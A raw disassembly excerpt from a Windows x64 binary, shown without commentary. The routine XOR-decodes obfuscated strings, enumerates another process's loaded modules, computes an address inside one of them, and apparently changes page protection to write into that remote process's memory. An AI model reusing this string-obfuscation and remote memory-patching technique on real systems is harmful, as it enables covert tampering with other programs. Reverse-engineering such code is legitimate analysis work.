mov rdx, qword [rbp + 0x5108]
mov eax, dword [rbp + 0x50fc]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x50fc], 1
jmp 0x409afd
nop
lea rdx, [rbp + 0x22e0]
mov rax, qword [rbp + 0x5270]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5268], rax
lea rax, [rbp + 0x21f2]
lea rdx, [rbp + 0x4fc7]
mov rcx, rax
call fcn.00403a4a
lea rax, [rbp + 0x21f2]
mov qword [rbp + 0x50f0], rax
mov rax, qword [rbp + 0x50f0]
movzx eax, byte [rax + 0xd]
test al, al
setne al
test al, al
je 0x409c5c
lea rax, [rbp + 0x21f2]
lea rdx, [rbp + 0x21f2]
mov qword [rbp + 0x50e8], rdx
mov qword [rbp + 0x50e0], rax
mov dword [rbp + 0x50dc], 0
cmp dword [rbp + 0x50dc], 0xd
jg 0x409c5b
mov eax, dword [rbp + 0x50dc]
movsxd rdx, eax
mov rax, qword [rbp + 0x50e0]
add rax, rdx
movzx ecx, byte [rax]
mov eax, dword [rbp + 0x50dc]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff92492493
shr rdx, 0x20
add edx, eax
sar edx, 5
mov r8d, eax
sar r8d, 0x1f
sub edx, r8d
imul r8d, edx, 0x38
sub eax, r8d
mov edx, eax
mov eax, edx
add eax, 0x37
xor ecx, eax
mov rdx, qword [rbp + 0x50e8]
mov eax, dword [rbp + 0x50dc]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x50dc], 1
jmp 0x409bee
nop
lea rax, [rbp + 0x21f2]
mov rdx, qword [rbp + 0x5268]
mov r8, rdx
mov rdx, rax
lea rcx, str._s_p_n
call fcn.00401540
mov dword [rbp + 0x50d8], 0
cmp dword [rbp + 0x50d8], 0xd
jg 0x409ca8
mov eax, dword [rbp + 0x50d8]
cdqe
mov byte [rbp + rax + 0x21f2], 0
add dword [rbp + 0x50d8], 1
jmp 0x409c86
nop
mov rax, qword [rbp + 0x5268]
mov qword [rbp + 0x5260], rax
mov rax, qword [rbp + 0x5260]
mov rdx, qword [rbp + 0x5270]
sub rax, rdx
mov dword [rbp + 0x525c], eax
lea rax, [rbp + 0x21e5]
lea rdx, [rbp + 0x4fc8]
mov rcx, rax
call fcn.00403acc
lea rax, [rbp + 0x21e5]
mov qword [rbp + 0x50d0], rax
mov rax, qword [rbp + 0x50d0]
movzx eax, byte [rax + 0xc]
test al, al
setne al
test al, al
je 0x409d9e
lea rax, [rbp + 0x21e5]
lea rdx, [rbp + 0x21e5]
mov qword [rbp + 0x50c8], rdx
mov qword [rbp + 0x50c0], rax
mov dword [rbp + 0x50bc], 0
cmp dword [rbp + 0x50bc], 0xc
jg 0x409d9d
mov eax, dword [rbp + 0x50bc]
movsxd rdx, eax
mov rax, qword [rbp + 0x50c0]
add rax, rdx
movzx ecx, byte [rax]
mov eax, dword [rbp + 0x50bc]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff92492493
shr rdx, 0x20
add edx, eax
sar edx, 5
mov r8d, eax
sar r8d, 0x1f
sub edx, r8d
imul r8d, edx, 0x38
sub eax, r8d
mov edx, eax
mov eax, edx
add eax, 0x37
xor ecx, eax
mov rdx, qword [rbp + 0x50c8]
mov eax, dword [rbp + 0x50bc]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x50bc], 1
jmp 0x409d30
nop
lea rax, [rbp + 0x21e5]
mov edx, dword [rbp + 0x525c]
mov r8d, edx
mov rdx, rax
lea rcx, str._s_p_n
call fcn.00401540
mov dword [rbp + 0x50b8], 0
cmp dword [rbp + 0x50b8], 0xc
jg 0x409de9
mov eax, dword [rbp + 0x50b8]
cdqe
mov byte [rbp + rax + 0x21e5], 0
add dword [rbp + 0x50b8], 1
jmp 0x409dc7
nop
mov rax, qword [rbp + 0x2348]
lea rcx, [rbp + 0x1dc]
lea rdx, [rbp + 0x1e0]
mov r9, rcx
mov r8d, 0x2000
mov rcx, rax
call sub.PSAPI.DLL_EnumProcessModules
test eax, eax
setne al
test al, al
je 0x40a11d
mov dword [rbp + 0x537c], 0
mov eax, dword [rbp + 0x537c]
cdqe
mov edx, dword [rbp + 0x1dc]
mov edx, edx
shr rdx, 3
cmp rax, rdx
jae 0x40a11d
mov eax, dword [rbp + 0x537c]
cdqe
mov rdx, qword [rbp + rax*8 + 0x1e0]
mov rax, qword [rbp + 0x2348]
lea rcx, [rbp - 0x10]
mov r9d, 0x104
mov r8, rcx
mov rcx, rax
call sub.PSAPI.DLL_GetModuleFileNameExA
test eax, eax
setne al
test al, al
je 0x40a111
lea rax, [rbp + 0x4fc9]
mov rcx, rax
call fcn.0046f690
lea rcx, [rbp + 0x4fc9]
lea rdx, [rbp - 0x10]
lea rax, [rbp - 0x30]
mov r8, rcx
mov rcx, rax
call fcn.004a75d0
lea rax, [rbp + 0x4fc9]
mov rcx, rax
call fcn.0046f6c0
lea rax, [rbp + 0x22f4]
mov qword [rbp + 0x50b0], rax
mov rax, qword [rbp + 0x50b0]
mov qword [rbp + 0x50a8], rax
mov rax, qword [rbp + 0x50a8]
movzx eax, byte [rax + 0xb]
test al, al
setne al
test al, al
je 0x409f7d
mov rax, qword [rbp + 0x50b0]
mov rdx, qword [rbp + 0x50b0]
mov qword [rbp + 0x50a0], rdx
mov qword [rbp + 0x5098], rax
mov dword [rbp + 0x5094], 0
cmp dword [rbp + 0x5094], 0xb
jg 0x409f7c
mov eax, dword [rbp + 0x5094]
movsxd rdx, eax
mov rax, qword [rbp + 0x5098]
add rax, rdx
movzx ecx, byte [rax]
mov eax, dword [rbp + 0x5094]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff92492493
shr rdx, 0x20
add edx, eax
sar edx, 5
mov r8d, eax
sar r8d, 0x1f
sub edx, r8d
imul r8d, edx, 0x38
sub eax, r8d
mov edx, eax
mov eax, edx
add eax, 0x37
xor ecx, eax
mov rdx, qword [rbp + 0x50a0]
mov eax, dword [rbp + 0x5094]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x5094], 1
jmp 0x409f0f
nop
lea rdx, [rbp + 0x22f4]
lea rax, [rbp - 0x30]
mov r8d, 0
mov rcx, rax
call fcn.004324e0
cmp rax, 0xffffffffffffffff
setne al
test al, al
je 0x40a105
mov eax, dword [rbp + 0x537c]
cdqe
mov rdx, qword [rbp + rax*8 + 0x1e0]
lea rax, [rbp - 0x10]
mov r8, rdx
mov rdx, rax
lea rcx, str._t_s__0x_08X__n
call fcn.00401540
mov eax, dword [rbp + 0x537c]
cdqe
mov rax, qword [rbp + rax*8 + 0x1e0]
mov qword [rbp + 0x5380], rax
lea rax, [rbp + 0xf6]
lea rdx, [rbp + 0x4fca]
mov rcx, rax
call fcn.00403b46
mov eax, dword [rbp + 0x537c]
cdqe
mov r8, qword [rbp + rax*8 + 0x1e0]
lea rax, [rbp + 0xf6]
mov qword [rbp + 0x5088], rax
mov rax, qword [rbp + 0x5088]
movzx eax, byte [rax + 0xa]
test al, al
setne al
test al, al
je 0x40a0c2
lea rax, [rbp + 0xf6]
lea rdx, [rbp + 0xf6]
mov qword [rbp + 0x5080], rdx
mov qword [rbp + 0x5078], rax
mov dword [rbp + 0x5074], 0
cmp dword [rbp + 0x5074], 0xa
jg 0x40a0c1
mov eax, dword [rbp + 0x5074]
movsxd rdx, eax
mov rax, qword [rbp + 0x5078]
add rax, rdx
movzx ecx, byte [rax]
mov eax, dword [rbp + 0x5074]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff92492493
shr rdx, 0x20
add edx, eax
sar edx, 5
mov r9d, eax
sar r9d, 0x1f
sub edx, r9d
imul r9d, edx, 0x38
sub eax, r9d
mov edx, eax
mov eax, edx
add eax, 0x37
xor ecx, eax
mov rdx, qword [rbp + 0x5080]
mov eax, dword [rbp + 0x5074]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x5074], 1
jmp 0x40a054
nop
lea rax, [rbp + 0xf6]
mov rdx, rax
lea rcx, str._s_p_n
call fcn.00401540
mov dword [rbp + 0x5070], 0
cmp dword [rbp + 0x5070], 0xa
jg 0x40a104
mov eax, dword [rbp + 0x5070]
cdqe
mov byte [rbp + rax + 0xf6], 0
add dword [rbp + 0x5070], 1
jmp 0x40a0e2
nop
lea rax, [rbp - 0x30]
mov rcx, rax
call fcn.004a7c20
add dword [rbp + 0x537c], 1
jmp 0x409e27
mov eax, dword [rbp + 0x525c]
movsxd rdx, eax
mov rax, qword [rbp + 0x5380]
add rax, rdx
mov qword [rbp + 0x1d0], rax
lea rax, [rbp + 0x1b0]
lea rdx, [rbp + 0x4fcb]
mov rcx, rax
call fcn.00403bb0
mov r8, qword [rbp + 0x1d0]
lea rax, [rbp + 0x1b0]
mov qword [rbp + 0x5068], rax
mov rax, qword [rbp + 0x5068]
movzx eax, byte [rax + 0x13]
test al, al
setne al
test al, al
je 0x40a20e
lea rax, [rbp + 0x1b0]
lea rdx, [rbp + 0x1b0]
mov qword [rbp + 0x5060], rdx
mov qword [rbp + 0x5058], rax
mov dword [rbp + 0x5054], 0
cmp dword [rbp + 0x5054], 0x13
jg 0x40a20d
mov eax, dword [rbp + 0x5054]
movsxd rdx, eax
mov rax, qword [rbp + 0x5058]
add rax, rdx
movzx ecx, byte [rax]
mov eax, dword [rbp + 0x5054]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff92492493
shr rdx, 0x20
add edx, eax
sar edx, 5
mov r9d, eax
sar r9d, 0x1f
sub edx, r9d
imul r9d, edx, 0x38
sub eax, r9d
mov edx, eax
mov eax, edx
add eax, 0x37
xor ecx, eax
mov rdx, qword [rbp + 0x5060]
mov eax, dword [rbp + 0x5054]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x5054], 1
jmp 0x40a1a0
nop
lea rax, [rbp + 0x1b0]
mov rdx, rax
lea rcx, str._s_p_n
call fcn.00401540
mov dword [rbp + 0x5050], 0
cmp dword [rbp + 0x5050], 0x13
jg 0x40a250
mov eax, dword [rbp + 0x5050]
cdqe
mov byte [rbp + rax + 0x1b0], 0
add dword [rbp + 0x5050], 1
jmp 0x40a22e
nop
mov rax, qword [rbp + 0x1d0]
and eax, 0xfff
mov qword [rbp + 0x5250], rax
lea rax, [rbp + 0x1a3]
lea rdx, [rbp + 0x4fcc]
mov rcx, rax
call fcn.00403c62
lea rax, [rbp + 0x1a3]
mov qword [rbp + 0x5048], rax
mov rax, qword [rbp + 0x5048]
movzx eax, byte [rax + 0xc]
test al, al
setne al
test al, al
je 0x40a334
lea rax, [rbp + 0x1a3]
lea rdx, [rbp + 0x1a3]
mov qword [rbp + 0x5040], rdx
mov qword [rbp + 0x5038], rax
mov dword [rbp + 0x5034], 0
cmp dword [rbp + 0x5034], 0xc
jg 0x40a333
mov eax, dword [rbp + 0x5034]
movsxd rdx, eax
mov rax, qword [rbp + 0x5038]
add rax, rdx
movzx ecx, byte [rax]
mov eax, dword [rbp + 0x5034]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff92492493
shr rdx, 0x20
add edx, eax
sar edx, 5
mov r8d, eax
sar r8d, 0x1f
sub edx, r8d
imul r8d, edx, 0x38
sub eax, r8d
mov edx, eax
mov eax, edx
add eax, 0x37
xor ecx, eax
mov rdx, qword [rbp + 0x5040]
mov eax, dword [rbp + 0x5034]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x5034], 1
jmp 0x40a2c6
nop
lea rax, [rbp + 0x1a3]
mov rdx, qword [rbp + 0x5250]
mov r8, rdx
mov rdx, rax
lea rcx, str._s_p_n
call fcn.00401540
mov dword [rbp + 0x5030], 0
cmp dword [rbp + 0x5030], 0xc
jg 0x40a380
mov eax, dword [rbp + 0x5030]
cdqe
mov byte [rbp + rax + 0x1a3], 0
add dword [rbp + 0x5030], 1
jmp 0x40a35e
nop
mov r10, qword [0x00537058]
mov rax, qword [rbp + 0x2348]
lea r8, [rbp + 0x2490]
lea rdx, [rbp + 0x1d0]
lea rcx, [rbp + 0x22cc]
mov qword [rsp + 0x20], rcx
mov r9d, 4
mov rcx, rax
call r10
mov dword [rbp + 0x527c], eax
lea rax, [rbp + 0x170]
lea rdx, [rbp + 0x4fcd]
mov rcx, rax
call fcn.00403cdc
lea rax, [rbp + 0x170]
mov qword [rbp + 0x5028], rax
mov rax, qword [rbp + 0x5028]
movzx eax, byte [rax + 0x27]
test al, al
setne al
test al, al
je 0x40a48b
lea rax, [rbp + 0x170]
lea rdx, [rbp + 0x170]
mov qword [rbp + 0x5020], rdx
mov qword [rbp + 0x5018], rax
mov dword [rbp + 0x5014], 0
cmp dword [rbp + 0x5014], 0x27
jg 0x40a48a
mov eax, dword [rbp + 0x5014]
movsxd rdx, eax
mov rax, qword [rbp + 0x5018]
add rax, rdx
movzx ecx, byte [rax]
mov eax, dword [rbp + 0x5014]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff92492493
shr rdx, 0x20
add edx, eax
sar edx, 5
mov r8d, eax
sar r8d, 0x1f
sub edx, r8d
imul r8d, edx, 0x38
sub eax, r8d
mov edx, eax
mov eax, edx
add eax, 0x37
xor ecx, eax
mov rdx, qword [rbp + 0x5020]
mov eax, dword [rbp + 0x5014]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x5014], 1
jmp 0x40a41d
nop
lea rax, [rbp + 0x170]
mov edx, dword [rbp + 0x527c]
mov r8d, edx
mov rdx, rax
lea rcx, [0x0050b0e1]
call fcn.00401540
mov dword [rbp + 0x5010], 0
cmp dword [rbp + 0x5010], 0x27
jg 0x40a4d6
mov eax, dword [rbp + 0x5010]
cdqe
mov byte [rbp + rax + 0x170], 0
add dword [rbp + 0x5010], 1
jmp 0x40a4b4
nop
mov r10, qword [0x00537050]
mov r8, qword [rbp + 0x2490]
mov rcx, qword [0x00537040]
mov rax, qword [rbp + 0x1d0]
mov rdx, rax
mov rax, qword [rbp + 0x5250]
add rax, rdx
mov r11, rax
mov rax, qword [rbp + 0x2348]
lea rdx, [rbp + 0x198]
mov qword [rsp + 0x20], rdx
mov r9, r8
mov r8, rcx
mov rdx, r11
mov rcx, rax
call r10
mov dword [rbp + 0x527c], eax
lea rax, [rbp + 0x140]
lea rdx, [rbp + 0x4fce]
mov rcx, rax
call fcn.00403e2e
lea rax, [rbp + 0x140]
mov qword [rbp + 0x5008], rax
mov rax, qword [rbp + 0x5008]
movzx eax, byte [rax + 0x27]
test al, al
setne al
test al, al
je 0x40a5fb
lea rax, [rbp + 0x140]
lea rdx, [rbp + 0x140]
mov qword [rbp + 0x5000], rdx
mov qword [rbp + 0x4ff8], rax
mov dword [rbp + 0x4ff4], 0
cmp dword [rbp + 0x4ff4], 0x27
jg 0x40a5fa
mov eax, dword [rbp + 0x4ff4]
movsxd rdx, eax
mov rax, qword [rbp + 0x4ff8]
add rax, rdx
movzx ecx, byte [rax]
mov eax, dword [rbp + 0x4ff4]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff92492493
shr rdx, 0x20
add edx, eax
sar edx, 5
mov r8d, eax
sar r8d, 0x1f
sub edx, r8d
imul r8d, edx, 0x38
sub eax, r8d
mov edx, eax
mov eax, edx
add eax, 0x37
xor ecx, eax
mov rdx, qword [rbp + 0x5000]
mov eax, dword [rbp + 0x4ff4]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x4ff4], 1
jmp 0x40a58d
nop
lea rax, [rbp + 0x140]
mov edx, dword [rbp + 0x527c]
mov r8d, edx
mov rdx, rax
lea rcx, [0x0050b0e1]
call fcn.00401540
mov dword [rbp + 0x4ff0], 0
cmp dword [rbp + 0x4ff0], 0x27
jg 0x40a646
mov eax, dword [rbp + 0x4ff0]
cdqe
mov byte [rbp + rax + 0x140], 0
add dword [rbp + 0x4ff0], 1
jmp 0x40a624
nop
mov r10, qword [0x00537058]
mov rax, qword [rbp + 0x2348]
lea r8, [rbp + 0x2490]
lea rdx, [rbp + 0x1d0]
lea rcx, [rbp + 0x22cc]
mov qword [rsp + 0x20], rcx
mov r9d, 0x20
mov rcx, rax
call r10
mov dword [rbp + 0x527c], eax
lea rax, [rbp + 0x110]
lea rdx, [rbp + 0x4fcf]
mov rcx, rax
call fcn.00403f80
lea rax, [rbp + 0x110]
mov qword [rbp + 0x4fe8], rax
mov rax, qword [rbp + 0x4fe8]
movzx eax, byte [rax + 0x27]
test al, al
setne al
test al, al
je 0x40a751
lea rax, [rbp + 0x110]
lea rdx, [rbp + 0x110]
mov qword [rbp + 0x4fe0], rdx
mov qword [rbp + 0x4fd8], rax
mov dword [rbp + 0x4fd4], 0
cmp dword [rbp + 0x4fd4], 0x27
jg 0x40a750
mov eax, dword [rbp + 0x4fd4]
movsxd rdx, eax
mov rax, qword [rbp + 0x4fd8]
add rax, rdx
movzx ecx, byte [rax]
mov eax, dword [rbp + 0x4fd4]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff92492493
shr rdx, 0x20
add edx, eax
sar edx, 5
mov r8d, eax
sar r8d, 0x1f
sub edx, r8d
imul r8d, edx, 0x38
sub eax, r8d
mov edx, eax
mov eax, edx
add eax, 0x37
xor ecx, eax
mov rdx, qword [rbp + 0x4fe0]
mov eax, dword [rbp + 0x4fd4]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x4fd4], 1
jmp 0x40a6e3
nop
lea rax, [rbp + 0x110]
mov edx, dword [rbp + 0x527c]
mov r8d, edx
mov rdx, rax
lea rcx, [0x0050b0e1]
call fcn.00401540
mov dword [rbp + 0x4fd0], 0
cmp dword [rbp + 0x4fd0], 0x27
jg 0x40a79c
mov eax, dword [rbp + 0x4fd0]
cdqe
mov byte [rbp + rax + 0x110], 0
add dword [rbp + 0x4fd0], 1
jmp 0x40a77a
nop
mov rax, qword [rbp + 0x2348]
mov rcx, rax
call fcn.00402d2f
mov rax, qword [rbp + 0x1d0]
mov rdx, rax
mov rax, qword [rbp + 0x5250]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x2348]
mov rcx, rax
call fcn.00402911
mov rdx, qword [0x00537088]
mov rax, qword [rbp + 0x2348]
mov rcx, rax
call rdx
mov ebx, 1
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.004a7c20
cmp ebx, 1
jne 0x40a803
mov esi, 0
mov eax, esi
jmp 0x40c149
add rsp, 0x5420
pop rbx
pop rsi
pop rbp
ret